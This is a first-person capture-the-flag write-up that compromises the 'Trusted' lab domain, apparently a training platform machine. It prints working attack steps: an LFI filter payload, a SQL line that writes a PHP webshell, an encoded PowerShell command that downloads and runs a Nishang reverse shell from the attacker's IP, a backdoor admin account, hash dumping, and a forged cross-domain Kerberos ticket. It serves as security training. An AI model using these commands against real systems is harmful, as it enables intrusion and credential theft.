Trusted is an "easy" difficulty machine where I leveraged several techniques to exploit vulnerabilities and escalate privileges. After performing an Nmap scan and directory brute-forcing, I discovered user names and hidden directories on the web server. Using a Local File Inclusion (LFI) vulnerability, I accessed sensitive files to obtain MySQL credentials and performed SQL injection to plant a webshell for remote command execution. I created an administrative user, dumped all machine hashes, and exploited the bidirectional trust relationship between domains to escalate privileges on TrustedDC. Finally, I bypassed file encryption to access the root flag, demonstrating a thorough approach to system compromise.

Difficulty:

Easy

Enumeration

I start with a Nmap scan to check open ports as usual for both of the IP addresses.

Lab.Trusted.vl

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PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| http-title: Welcome to XAMPP
|_Requested resource was http://10.10.154.22/dashboard/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-09 17:22:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| http-title: Welcome to XAMPP
|_Requested resource was https://10.10.154.22/dashboard/
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.4.24-MariaDB
| Thread ID: 10
| Capabilities flags: 63486
| Some Capabilities: IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, LongColumnFlag, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, SupportsCompression, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, ODBCClient, Interact
iveClient, FoundRows, ConnectWithDatabase, IgnoreSigpipes, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: T.'u>sKY]I3cz]CtC/`u
|_ Auth Plugin Name: mysql_native_password
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=labdc.lab.trusted.vl
| Not valid before: 2024-06-08T17:00:42
|_Not valid after: 2024-12-08T17:00:42
| rdp-ntlm-info:
| Target_Name: LAB
| NetBIOS_Domain_Name: LAB
| NetBIOS_Computer_Name: LABDC
| DNS_Domain_Name: lab.trusted.vl
| DNS_Computer_Name: labdc.lab.trusted.vl
| DNS_Tree_Name: trusted.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-06-09T17:24:17+00:00
|_ssl-date: 2024-06-09T17:24:35+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing

TrustedDC.Trusted.vl

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PORT      STATE    SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-09 17:22:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=trusteddc.trusted.vl
| Not valid before: 2024-06-08T17:00:41
|_Not valid after: 2024-12-08T17:00:41
| rdp-ntlm-info:
| Target_Name: TRUSTED
| NetBIOS_Domain_Name: TRUSTED
| NetBIOS_Computer_Name: TRUSTEDDC
| DNS_Domain_Name: trusted.vl
| DNS_Computer_Name: trusteddc.trusted.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-06-09T17:24:17+00:00
|_ssl-date: 2024-06-09T17:24:35+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
10444/tcp filtered unknown
11116/tcp filtered unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Lab.trusted.vl has an XAMPP default page which also shows other technologies running on the server.

Next, I started Directory brute-forcing to check the potential hidden directories.

dirsearch -u http://lab.trusted.vl -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 20 -f -e php,txt,html,aspx,pdf

In the result, I Found /dev and after visiting the directory it looks like it’s a Family Law Firm I could Identify 2 users Eric and Jack from Dev comments left on the website.

LFI PHP Wrapper

When I explored contact I found a view parameter. I started Responder and tried to connect to my local machine to get NTLMv2 hash. But I couldn’t crack the hash.

After that, I hosted a webshell on my local machine and tried to execute commands by connecting to my server using the parameter. But I never got any connection back.

Next, I tried LFI to read files in the machine. But it was only confirming that the file exist but didn’t show anything. So I used a PHP wrapper to convert the output in base64 and the content. I tried to read know log path for XAMPP.

http://10.10.152.246/dev/index.html?view=php://filter/read=convert.base64-encode/resource=C:/xampp/apache/logs/access.log

After decoding the base64 string I checked the output and found db.php.

I used the same php wrapper to see db.php file and after decoding I got the credential for MySQL server.
mysql -u root -p 'Sup<..snip...>' -h 10.10.152.246


MySql Injection RCE

After looking around I found some credentials in 2 databases and I was able to crack only the password Robert using crackstation.

User

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MariaDB [mysql]> select * from user;                                                                                                                                                                                                           
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------->
| Host | User | Password | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_>
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------->
| localhost | root | *665C8B0E1F0044B6A<snip> | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
| % | root | *665C8B0E1F0044B6A9<snip> | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
| 127.0.0.1 | root | | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
| ::1 | root | | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
| localhost | pma | | N | N | N | N | N | N | N | N | N | N | N | N | N >
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+-------

News

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MariaDB [news]> select * from users;                                                                                                                                                                                                              
+----+------------+--------------+-----------+----------------------------------+
| id | first_name | short_handle | last_name | password |
+----+------------+--------------+-----------+----------------------------------+
| 1 | Robert | rsmith | Smith | 7e7abb54bbef<snip> |
| 2 | Eric | ewalters | Walters | d6e81aeb4df93<snip> |
| 3 | Christine | cpowers | Powers | e3d3eb0f46fe<snip> |
+----+------------+--------------+-----------+----------------------------------+
3 rows in set (0.128 sec)

Next, I checked if I had the write privilege on the server. If ‘secure_file_priv’ is empty that means I have both read and write privileges.

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MariaDB [news]> show variables like "secure_file_priv";                                                                                                                                                                                           
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.131 sec)

Now that I have confirmed that I have write permission, I created a webshell in the root directory of the website. Now I can use the webshell to execute commands on the machine.

SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE 'C:/xampp/htdocs/dev/webshell.php';

I used Nishang to get a reverse shell to my local machine.

Invoke-PowerShellTcp.ps1

Add the reverse shell to the last line.
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.8.2.110 -Port 4444" >> Invoke-PowerShellTCP.ps1

Make the target to get the payload from my machine and execute it.
echo "IEX (New-Object Net.webclient).downloadString('http://10.8.2.110/Invoke-PowerShellTCP.ps1')" | iconv -t utf-16le | base64 -w 0; echo

http://10.10.152.246/dev/webshell.php?cmd=powershell -ep bypass -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AOAAuADIALgAxADEAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAEMAUAAuAHAAcwAxACcAKQAKAA==

Got trolled by r0BIT. I got the flag under Administrator.

Credential Hunting

There are other users in the system and as an administrator, I tried to dump all the passwords and hashes. I tried to use Mimikatz but it didn’t dump the credentials for some reason.

I created a new account with administrator privilege and used Secrectsdump to get all the hashes of the machine.

net user dave2 password123! /add
net localgroup administrators dave2 /add
secretsdump.py [email protected]


Now I can use the administrator hash to login to the machine later.

Trust Attack

After Enumerating the domain I found there is BiDirectional trust between LabDC and TrustedDC. This means If I’m an administrator in Lab Domain I can execute commands on the TrustedDC Domain. To exploit this I need 3 things.

  • KRBTGT NTLM hash
  • SID of Lab.Trusted.vl
  • SID of TrustedDC.Trusted.vl

I have already got KRBTGT hash from the previous hash dump. I got both SIDs with Mimikatz.

.\mimikatz.exe "lsadump::trust /patch" "exit"

  • KBRTGT → c7a03c565c68c6<…SNIP…>

  • Lab.Trusted.VL → S-1-5-21-2241985869-2159962460-1278545866

  • Trusted.VL → S-1-5-21-3576695518-347000760-3731839591

Now I used Impacket to request TGT for Administrator of TrustedDC as LabDC.

ticketer.py -nthash c7a03c565<..snip..> -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 -domain lab.trusted.vl Administrator

Now using this ticket I can login to TrustedDC but I can’t read the flag because of permission.

KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass lab.trusted.vl/[email protected] -target-ip 10.10.232.245

I used Secretsdump to dump all the hashes for TrustedDC and used Evil-winrm to login But still, I can’t see the flag.

Encrypted Flag

I checked for encrypted files in the system and It shows root.txt is encrypted.

I used RUNasCs to bypass the encryption and read the flag.